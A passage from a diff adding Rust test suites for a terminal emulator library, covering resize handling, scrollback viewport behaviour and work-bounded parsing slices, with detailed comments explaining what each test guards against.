fn g3_renderer_acquire_stays_within_frame_budget() {
let fenced = measure(Fences::ALL);
let p95 = fenced.percentile_micros(0.95);
assert!(
p95 <= P95_MICROS,
"renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
assert!(
fenced.max_micros <= FRAME_MICROS,
"renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
// The control. Without it this gate could pass because the fixture never
// contended -- green over an experiment that did not run.
let unfenced = measure(Fences::OSC_ONLY);
assert!(
unfenced.max_micros > fenced.max_micros.max(1) * 4,
"unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \
renderer latency down, and this gate is measuring something else",
unfenced.max_micros,
fenced.max_micros
);
}
@@ -0,0 +1,196 @@
//! The resize seam: what a consumer is allowed to rely on across a reflow.
//!
//! The dedup encoder caches a hash per line. A resize reflows content into
//! rows of a different width, so those cached hashes describe a grid that no
//! longer exists -- if a resize did not force a full frame, dedup could
//! suppress a row whose content genuinely changed and leave the renderer
//! showing reflowed-away text.
//!
//! It does force one: upstream's `TermDamageState::resize` sets `full`
//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that
//! behaviour to the seam, because it is upstream's invariant and not ours.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel, and every subsequent listener send silently fails. These fixtures
/// don't assert on actions, but a fixture that quietly disables a code path is
/// how a future assertion gets written against a dead one.
fn shared(size: Size) -> (SharedTerminal, Receiver<Action>) {
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
fn size(columns: usize) -> Size {
Size {
columns,
screen_lines: 10,
scrollback: 1000,
}
}
fn grid(columns: usize, screen_lines: usize) -> Size {
Size {
columns,
screen_lines,
scrollback: 1000,
}
}
/// A resize invalidates dedup and republishes the whole grid at the new width.
#[test]
fn resize_forces_a_full_frame_at_the_new_width() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n");
let first = shared.render(&mut encoder);
assert!(first.full, "first frame after a fresh Term must be full");
assert_eq!(first.viewport.columns, 40);
assert_eq!(first.viewport.generation, 0);
// Nothing changed: dedup suppresses everything. Without this the next
// assertion could pass simply because every frame is full.
let idle = shared.render(&mut encoder);
assert!(!idle.full, "an unchanged grid must not republish");
assert!(
idle.rows.is_empty(),
"dedup let {} unchanged rows through",
idle.rows.len()
);
let applied = shared.resize(size(20));
assert_eq!(
applied.columns, 20,
"resize did not report the grid it applied"
);
assert_eq!(
applied.generation, 1,
"generation must advance across a resize"
);
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(
after.viewport, applied,
"frame's viewport disagrees with the one resize reported applying"
);
assert_eq!(after.rows.len(), 10, "full frame must carry every line");
let row0: String = after.rows[0]
.spans
.iter()
.map(|s| s.text.as_str())
.collect();
assert_eq!(row0.chars().count(), 20, "row emitted at the old width");
assert!(
row0.starts_with("hello world"),
"content lost across reflow: {row0:?}"
);
}
/// A no-op resize is not a resize: it must not burn a generation, or every
/// `ResizeObserver` tick would look like a discontinuity to the consumer.
#[test]
fn identical_resize_is_inert() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"hello");
shared.render(&mut encoder);
let applied = shared.resize(size(40));
assert_eq!(
applied.generation, 0,
"a same-size resize advanced the generation"
);
let after = shared.render(&mut encoder);
assert_eq!(after.viewport, applied);
assert!(
!after.full,
"a same-size resize forced a needless full repaint"
);
}
/// A **full frame must carry every row**, including rows whose content is
/// byte-identical to what sat at that index before the resize.
///
/// This is the arm that catches a dedup cache surviving a full frame, and the
/// width-changing fixture above does *not* catch it: changing the width changes
/// every row's cell contents, so the hashes differ and the rows are emitted for
/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows
/// hash exactly as before -- and a stale cache suppresses them right after the
/// consumer was told to discard what it had. The result is a renderer holding
/// nothing where content should be.
///
/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0
/// to row 1, so correctness here is not merely about frame bookkeeping.
#[test]
fn full_frame_after_height_resize_republishes_unchanged_rows() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line");
let first = shared.render(&mut encoder);
assert!(first.full);
assert_eq!(first.rows.len(), 10);
shared.resize(grid(40, 20));
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(after.viewport.screen_lines, 20);
assert_eq!(
after.rows.len(),
20,
"full frame carried {} of 20 rows -- dedup suppressed rows the consumer \
was simultaneously told to discard, leaving them blank",
after.rows.len()
);
}
/// A frame is stamped with the grid it was **captured on**, and a later resize
/// does not retroactively re-label it.
///
/// This is the cross-transport race in the integration lane: frame delivery and
/// the resize call are separate paths, so a generation-N frame can arrive after
/// generation N+1 has been applied. Rejecting it requires the stamp to be
/// capture-time truth.
///
/// Note what is and is not proven here. That an owned `Frame` cannot mutate is
/// guaranteed by the language, so asserting it against a copy of itself would
/// be tautological. What this asserts is that `capture()` stamps the viewport
/// as it was **at capture**, against explicit expected values -- a `capture()`
/// that read the viewport a moment later, or a `Frame` that carried a handle
/// back to the terminal, would fail here.
#[test]
fn a_frame_is_stamped_with_the_grid_it_was_captured_on() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world");
let in_flight = shared.render(&mut encoder);
assert_eq!(in_flight.viewport.generation, 0);
assert_eq!(in_flight.viewport.columns, 40);
let applied = shared.resize(grid(20, 10));
assert_eq!(applied.generation, 1);
assert_eq!(applied.columns, 20);
// The held frame still describes the pre-resize grid, so a consumer can
// compare the two and discard it rather than paint 40-column rows onto a
// 20-column grid.
assert_eq!(
in_flight.viewport.columns, 40,
"a frame captured before the resize describes the post-resize grid; \
a stale frame arriving late would be indistinguishable from a fresh one"
);
assert_eq!(in_flight.viewport.generation, 0);
assert_ne!(in_flight.viewport, applied);
}
@@ -0,0 +1,399 @@
//! Reaching the scrollback the engine has always been keeping.
//!
//! The grid retains 10k lines in production and, before this, nothing could
//! move the viewport off the live edge. Three things have to hold at once for
//! that to become usable, and each one fails silently on its own:
//!
//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still
//! repaints. Only a human notices. So the direction is asserted here, in
//! test names, rather than left to the caller to get right.
//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from
//! the live edge. Off-by-the-offset shows *some* plausible text.
//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last
//! saw. Scrolling changes every row without changing the grid, so a scroll
//! that consumed the full-damage flag would leave those hashes describing
//! a viewport that is no longer shown -- and they would then suppress a row
//! that really did change.
use buzz_terminal::damage::{Encoder, Frame};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(
columns: usize,
screen_lines: usize,
scrollback: usize,
) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// The text of every row the frame carries, indexed by screen row.
///
/// Blank rows are kept as empty strings rather than filtered out: this suite
/// is about *which row shows which line*, and dropping the blanks would
/// renumber every row after one.
fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> {
frame
.rows
.iter()
.map(|row| {
(
row.line,
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string(),
)
})
.collect()
}
/// Just the text, in screen order. Only meaningful for a full frame.
fn screen(frame: &Frame) -> Vec<String> {
rows_by_line(frame)
.into_iter()
.map(|(_, text)| text)
.collect()
}
/// Fill history with numbered lines, then take a caught-up renderer.
///
/// Returns the terminal and an encoder that has already consumed the damage
/// from that output, so anything a later assertion sees is caused by the
/// thing under test rather than by the fixture.
fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver<Action>, Encoder) {
let (shared, actions) = terminal(20, 4, 100);
let payload = (1..=lines)
.map(|n| format!("L{n:02}"))
.collect::<Vec<_>>()
.join("\r\n");
shared.feed_fully(payload.as_bytes());
let mut renderer = Encoder::new();
let _ = shared.render(&mut renderer);
(shared, actions, renderer)
}
#[test]
fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
assert_eq!(shared.lock().display_offset(), 0);
}
/// **The direction, at the engine boundary.** Positive goes *into* history.
///
/// This is upstream's convention and the reason the embedder negates the DOM
/// delta exactly once. If this assertion and `terminal_scroll`'s negation are
/// ever flipped together the pair still passes -- which is why the embedder's
/// own direction test asserts against the DOM sign rather than against this
/// one.
#[test]
fn positive_lines_scroll_backwards_into_history() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(2), "two lines of history exist to move into");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"],
"scrolling back two lines must show two older lines"
);
assert_eq!(shared.lock().display_offset(), 2);
}
#[test]
fn negative_lines_scroll_forwards_towards_the_live_edge() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll(-1), "one line back towards the edge");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"]
);
assert_eq!(shared.lock().display_offset(), 2);
}
/// The momentum guard. A trackpad flick keeps delivering events for about a
/// second after the fingers lift; once history runs out every one of them
/// must be free.
#[test]
fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
// Six lines of history: ten written, four on screen.
assert!(shared.scroll(6));
assert_eq!(shared.lock().display_offset(), 6);
assert!(
!shared.scroll(1),
"there is nothing older, so nothing moved"
);
assert!(
!shared.scroll(1_000),
"and a whole flick of it still moves nothing"
);
assert_eq!(shared.lock().display_offset(), 6);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L01", "L02", "L03", "L04"],
"the top of history is the oldest line, not a blank grid"
);
}
#[test]
fn scrolling_forwards_at_the_live_edge_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(!shared.scroll(-1));
assert!(!shared.scroll(-1_000));
assert_eq!(shared.lock().display_offset(), 0);
}
#[test]
fn snapping_to_the_bottom_moves_only_when_scrolled_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(
!shared.scroll_to_bottom(),
"already live: a keystroke must not cost a repaint"
);
assert!(shared.scroll(4));
assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap");
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
}
/// Why the snap has to exist at all: output does **not** bring the viewport
/// back. The grid pins a scrolled-back viewport and piles new lines above it
/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is
/// the behaviour you want while reading -- and means the echo of a keystroke
/// would otherwise land on a screen the user cannot see.
#[test]
fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(3));
shared.feed_fully(b"\r\nL11\r\nL12");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L04", "L05", "L06", "L07"],
"the reader stays put while new output accumulates below"
);
// And the snap still returns to the *new* live edge, not the old one.
assert!(shared.scroll_to_bottom());
let after = shared.render(&mut renderer);
assert!(after.full, "a viewport move is a repaint");
assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]);
}
/// **The silent-corruption case.**
///
/// The renderer's `Encoder` holds one content hash per screen row. Scrolling
/// changes what every row shows without changing a single cell, so those
/// hashes are stale the instant the viewport moves. The engine's protection is
/// that `scroll_display` marks the grid fully damaged and the embedder
/// republishes via `snapshot`, which does not consume damage -- so the
/// full-damage flag survives for the renderer's own next `render()`, which is
/// what clears its hashes.
///
/// The discriminating part is the row content. Row 0 after the scroll holds
/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived,
/// the row would still ship, because the hashes differ. So the test scrolls to
/// a position where the *pre-scroll* text reappears at the *same screen row*:
/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4
/// restores exactly the rows the hashes describe. A renderer whose hashes were
/// never cleared suppresses the whole screen there, and the user is left
/// looking at history that has scrolled away.
#[test]
fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
// The embedder's scroll path: move, then republish by snapshot.
assert!(shared.scroll(4));
let mut scroll_encoder = Encoder::new();
let republished = shared.snapshot(&mut scroll_encoder);
assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]);
// The renderer thread's own next capture must still be told to repaint.
let after_scroll = shared.render(&mut renderer);
assert!(
after_scroll.full,
"the scroll's snapshot must not have eaten the full-damage flag"
);
assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]);
// Now back to where the renderer's *original* hashes were taken. Every row
// matches a hash it already holds, so only a cleared cache ships them.
assert!(shared.scroll(-4));
let mut back_encoder = Encoder::new();
let _ = shared.snapshot(&mut back_encoder);
let after_return = shared.render(&mut renderer);
assert!(after_return.full);
assert_eq!(
screen(&after_return),
vec!["L07", "L08", "L09", "L10"],
"returning to a previously-hashed viewport must still repaint it"
);
}
/// A row that genuinely changes while the viewport is scrolled back must
/// still reach the renderer. This is the same dedup hazard from the other
/// side: content changing under a stale hash rather than a stale hash under
/// unchanged content.
#[test]
fn a_row_that_changes_while_scrolled_back_still_ships() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(2));
let mut scroll_encoder = Encoder::new();
let _ = shared.snapshot(&mut scroll_encoder);
let _ = shared.render(&mut renderer);
// Rewrite the top line of the active area, which is screen row 2 while
// scrolled back two.
shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K");
let frame = shared.render(&mut renderer);
let changed = rows_by_line(&frame)
.into_iter()
.find(|(_, text)| text == "CHANGED");
assert_eq!(
changed,
Some((2, "CHANGED".to_string())),
"the rewritten active row must ship, at its scrolled screen position; got {:?}",
rows_by_line(&frame)
);
}
/// The cursor plane travels with the viewport, because the renderer paints it
/// at a screen row and the grid stores it at an active-area row.
#[test]
fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
let live = shared.snapshot(&mut encoder);
assert_eq!(live.cursor.line, 3, "cursor sits on the last active row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut scrolled_encoder = Encoder::new();
let scrolled = shared.snapshot(&mut scrolled_encoder);
assert_eq!(
scrolled.cursor.line, 3,
"row 3 + 2 is off a four-row screen, so it clamps to the last row"
);
assert!(
!scrolled.cursor.visible,
"scrolled off the bottom, so it must not be painted on an unrelated line"
);
}
/// The clamp above is not the whole story: a cursor that is merely pushed
/// *down* -- still on screen -- must report its new row, not its old one. A
/// capture that ignored the offset entirely would pass the clamp test above
/// (row 3 is where the cursor already was) and fail this one.
///
/// Parking the cursor on the top row with `ESC[H` is what leaves it room to
/// move: at the live edge it is on row 0, and scrolling back two puts it on
/// row 2 of a four-row screen, still visible.
#[test]
fn a_cursor_still_on_screen_reports_its_scrolled_row() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[H");
let mut live_encoder = Encoder::new();
let live = shared.snapshot(&mut live_encoder);
assert_eq!(live.cursor.line, 0, "parked on the top row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(
frame.cursor.line, 2,
"the caret follows the row it is written on down the screen"
);
assert!(
frame.cursor.visible,
"still inside the viewport, so still painted"
);
}
#[test]
fn the_cursor_becomes_visible_again_on_the_way_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll_to_bottom());
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(frame.cursor.line, 3);
assert!(frame.cursor.visible);
}
/// The alternate screen has no scrollback by construction: `Term::new` builds
/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or
/// `less` must be a clamped no-op, leaving the application's own scrolling to
/// the application. Asserted rather than assumed -- a viewport that drifted
/// here would show the primary screen's history behind a full-screen app.
#[test]
fn the_alternate_screen_has_no_scrollback_to_reach() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[?1049h");
shared.feed_fully(b"ALT");
assert!(!shared.scroll(1), "no history exists on the alt screen");
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
// And the primary screen's position is undisturbed on the way back.
shared.feed_fully(b"\x1b[?1049l");
assert!(shared.scroll(2));
assert_eq!(shared.lock().display_offset(), 2);
}
/// A terminal configured with no history cannot scroll at all. The guard is
/// upstream's clamp against `history_size()`, and this pins it: without it the
/// offset would advance and capture would index above the grid.
#[test]
fn a_terminal_without_scrollback_never_moves() {
let (shared, _actions) = terminal(20, 4, 0);
shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf");
assert!(!shared.scroll(1));
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["c", "d", "e", "f"]
);
}
@@ -0,0 +1,882 @@
//! The work-denominated slicing seam: what bounds one lock hold, what bounds
//! the queue behind it, and what proves the work was actually done.
//!
//! **This is half a suite.** The adversarial resize and overflow cases live
//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two
//! files are one set of contracts. A mutation check scoped with
//! `--test slicing` covers 20 of 76 package tests and can report a confident
//! pass while the killing fixture sits in the sibling file. Dropping the
//! scrollback debt does exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
//!
//! Every assertion here is an **exact** expected value, never a `> 0`. A fix
//! that bounds the lock by *dropping* work instead of deferring it reports a
//! beautiful latency and a perfect screen-content receipt -- DECALN fills the
//! grid with `E`, and the second DECALN overwrites the first, so grid content
//! saturates after one of ten thousand. `completed_units == expected` is the
//! only predicate that separates "deferred the work" from "skipped it", and
//! `> 0` is satisfied by a seam that executed exactly one unit.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP,
WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
const COLUMNS: usize = 200;
const LINES: usize = 50;
const CELLS: u64 = (COLUMNS * LINES) as u64;
fn terminal() -> Terminal {
Terminal::new(
Size {
columns: COLUMNS,
screen_lines: LINES,
scrollback: 100,
},
Fences::ALL,
)
.0
}
/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail.
///
/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a
/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a
/// property of the byte depth, not of the grid, so a small grid exercises the
/// same thresholds in seconds instead of minutes -- but it does change what
/// is being tested, so it is named rather than reused silently: these arms
/// test the *depth* predicates, and the arms above test the work bound.
fn tiny() -> Terminal {
Terminal::new(
Size {
columns: 10,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
)
.0
}
/// Feed until the tail reaches its cap, or give up.
///
/// Bounded on purpose. A test that loops until a predicate goes true hangs
/// forever when the predicate is what broke, which turns a killed mutant into
/// a wedged CI job -- and a suite that hangs instead of failing is a suite
/// nobody can bisect.
fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool {
for _ in 0..10_000 {
if term.tail_full() {
return true;
}
term.feed(payload);
}
false
}
/// Pump to completion, counting acquisitions. A drain that needed no second
/// call returns 1.
fn pump(term: &mut Terminal, bytes: &[u8]) -> usize {
let mut calls = 1;
let mut more = term.feed(bytes);
while more {
more = term.drain();
calls += 1;
}
calls
}
/// One `feed` may not spend an unbounded amount of work, however much the
/// stream asks for.
///
/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the
/// unbounded hold this whole seam exists to prevent. Deliberately asserts on
/// *work* rather than wall time -- a time assertion is a flake on a loaded
/// machine, and the work bound is the thing the code actually promises.
#[test]
fn one_feed_spends_at_most_one_budget_plus_a_slice() {
let mut term = terminal();
let decalns = 10_000;
term.feed(&b"\x1b#8".repeat(decalns));
let spent = term.stats().completed_work;
// Two terms, both irreducible: the budget is checked between slices, and
// a slice is sized so it holds at most one budget of the densest payload;
// and the callback that crosses the line cannot be preempted.
let ceiling = max_drain_work(COLUMNS, LINES, 100);
assert!(
spent <= ceiling,
"one feed spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(
term.pending_bytes() > 0,
"10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \
is pending the seam ran the whole payload in one hold",
decalns as u64 * CELLS,
);
}
/// Every deferred byte is eventually executed -- exactly once, and all of it.
///
/// Kills: bounding the hold by dropping the remainder instead of keeping it
/// (`self.pending.clear()` in place of the tail), which passes any latency
/// gate and any grid-content check. The unit count is the only witness.
#[test]
fn a_deferred_tail_executes_every_unit_exactly_once() {
let mut term = terminal();
let decalns = 10_000;
let calls = pump(&mut term, &b"\x1b#8".repeat(decalns));
assert!(
calls > 1,
"a payload this dense must have needed a second call"
);
assert_eq!(
term.stats().completed_units,
decalns as u64,
"every DECALN must execute exactly once: no drops, no double-parse",
);
assert_eq!(term.stats().completed_work, decalns as u64 * CELLS);
assert_eq!(term.pending_bytes(), 0, "nothing may be left behind");
}
/// The tail drains without another `feed` -- a reader with nothing new to
/// read must still be able to retire what it already accepted.
///
/// Kills: draining only from `feed`, which strands the tail whenever the
/// child goes quiet (`cat bigfile` then no more output: the last screenful
/// never appears).
#[test]
fn a_tail_drains_without_a_second_feed() {
let mut term = terminal();
let decalns = 2_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
// Never feed again. Only drain.
while term.drain() {}
assert_eq!(term.stats().completed_units, decalns as u64);
assert_eq!(term.pending_bytes(), 0);
}
/// A slice is cut only at a byte boundary the parser has already passed, so
/// an escape sequence split across two slices still executes once.
///
/// Kills: cutting mid-sequence and restarting the parser, or double-feeding
/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of
/// neither, so at this length hundreds of sequences straddle a cut.
#[test]
fn a_sequence_split_across_slices_executes_exactly_once() {
let mut term = terminal();
let decalns = 3_000;
pump(&mut term, &b"\x1b#8".repeat(decalns));
assert_eq!(
term.stats().completed_units,
decalns as u64,
"a straddling sequence was dropped or executed twice",
);
// Same payload, delivered one byte per feed: every sequence straddles.
let mut byte_at_a_time = terminal();
for chunk in b"\x1b#8".repeat(decalns).chunks(1) {
byte_at_a_time.feed(chunk);
}
while byte_at_a_time.drain() {}
assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64);
}
/// The tail is a bound on the queue, and the breach counter is loud.
///
/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying
/// so is indistinguishable from a reader that is obeying backpressure, which
/// is exactly the confusion that hides an unbounded queue.
#[test]
fn an_overrun_tail_is_capped_and_counted() {
let mut term = tiny();
assert!(!term.tail_full(), "a fresh terminal is not full");
assert!(term.tail_drained(), "a fresh terminal is drained");
assert_eq!(term.stats().tail_breaches, 0);
// A reader that ignores `tail_full` and keeps shovelling.
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"the tail never reached its cap: the queue is not bounded",
);
assert!(term.pending_bytes() >= TAIL_CAP);
assert!(
term.stats().tail_breaches > 0,
"reaching the cap must be counted, not absorbed silently",
);
assert!(!term.tail_drained(), "a full tail is not a drained tail");
}
/// Resume is hysteretic: `tail_drained` does not go true the instant the tail
/// falls one byte below the cap.
///
/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between
/// paused and reading once per slice at exactly the moment it is most loaded.
#[test]
fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() {
let mut term = tiny();
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"expected a full tail"
);
// Drain until the reader is allowed to resume, watching for a window in
// which it is neither full nor drained -- that gap *is* the hysteresis.
let mut saw_gap = false;
for _ in 0..1_000_000 {
if term.tail_drained() {
break;
}
assert!(term.drain() || term.tail_drained());
if !term.tail_full() && !term.tail_drained() {
saw_gap = true;
}
}
assert!(
term.tail_drained(),
"the tail never drained to the resume mark"
);
assert!(
saw_gap,
"no depth was both non-full and non-drained: the two thresholds are \
the same value and the reader will flap",
);
}
/// Close must not be held behind parser work.
///
/// Kills: draining the tail on close instead of discarding it. Measured
/// elsewhere in this project: teardown that finishes parsing before killing
/// the child costs ~600 ms on macOS, and no byte of that work reaches a
/// renderer -- publication is detached before shutdown drains.
#[test]
fn close_may_abandon_the_tail_and_says_how_much_it_dropped() {
let mut term = terminal();
term.feed(&b"\x1b#8".repeat(10_000));
let stranded = term.pending_bytes();
assert!(stranded > 0);
let abandoned = term.abandon_tail();
assert_eq!(abandoned, stranded);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(
term.stats().abandoned_bytes,
stranded as u64,
"dropped bytes must be counted: this is lossy by design and silent \
loss is how it stops being by design",
);
assert!(
term.tail_drained(),
"an abandoned tail cannot strand a reader"
);
}
/// The grid the weights are priced against tracks resizes.
///
/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells)
/// charge for as long as it is wrong -- and it is wrong in the *unsafe*
/// direction whenever the window grows, which is the common case.
#[test]
fn a_resize_reprices_the_same_escape() {
let mut small = terminal();
small.feed_fully(b"\x1b#8");
let before = small.stats().completed_work;
assert_eq!(before, CELLS);
small.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
small.reset_stats();
small.feed_fully(b"\x1b#8");
assert_eq!(
small.stats().completed_work,
CELLS * 2,
"the same escape on a grid twice as wide must cost twice as much",
);
assert_eq!(small.stats().completed_units, 1, "still one callback");
}
/// A resize *between* slices of one payload reprices the remainder.
///
/// Kills: caching the slice size or the grid across a drain. The tail
/// outlives the call that accepted it, so a resize can land in the middle of
/// it -- the untouched remainder must be charged at the new grid, not the one
/// that was current when the bytes arrived.
#[test]
fn a_resize_mid_tail_reprices_the_remainder() {
let mut term = terminal();
let decalns = 4_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
let done_before = term.stats().completed_units;
let work_before = term.stats().completed_work;
assert_eq!(work_before, done_before * CELLS);
term.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
while term.drain() {}
let after = term.stats();
assert_eq!(after.completed_units, decalns as u64, "no unit may be lost");
assert_eq!(
after.completed_work,
work_before + (decalns as u64 - done_before) * CELLS * 2,
"the remainder must be priced at the resized grid",
);
}
/// Slice size is derived from the worst atom the grid admits, because a fixed
/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both
/// grids plus scrollback.
///
/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from
/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes
/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant
/// serves both.
#[test]
fn slice_size_shrinks_as_the_worst_atom_grows() {
let small = slice_bytes_remaining(80, 24, 0, 0, 0);
let large = slice_bytes_remaining(1600, 50, 0, 0, 0);
assert!(
small > large,
"a bigger grid makes each byte more expensive, so slices must shrink: \
80x24 -> {small}, 1600x50 -> {large}",
);
assert!(
slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0),
"scrollback makes RIS more expensive, so it may only shrink slices",
);
for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] {
assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0)));
// One slice holds at most N/2 of the densest atom. Either that fits a
// budget, or the floor binds -- and then the overshoot is stated by
// `max_drain_work` rather than being an accident.
let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0);
let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback);
assert!(
worst <= WORK_BUDGET || width == 1,
"{columns}x{lines}: a slice buys {worst} work against a \
{WORK_BUDGET} budget without the MIN clamp to excuse it",
);
}
}
/// Work released by an F1 abort is counted.
///
/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a
/// runaway synchronized update by flushing its buffer through the handler --
/// those callbacks run, cost time, and hold the lock, so a scheduler that
/// does not see them is blind on exactly the path the fence created. The
/// escapes here are `ESC#8` so the flushed work is unmistakable against the
/// buffered bytes.
#[test]
fn work_flushed_by_a_sync_abort_is_counted() {
let (mut term, _a) = Terminal::new(
Size {
columns: 80,
screen_lines: 24,
scrollback: 0,
},
Fences::SYNC_ONLY,
);
let cells = 80 * 24;
// Open a synchronized update and never close it: F1 must abort it once
// the buffer passes SYNC_CAP, flushing everything buffered so far.
term.feed_fully(b"\x1b[?2026h");
let decalns = SYNC_CAP / 3 + 1000;
term.feed_fully(&b"\x1b#8".repeat(decalns));
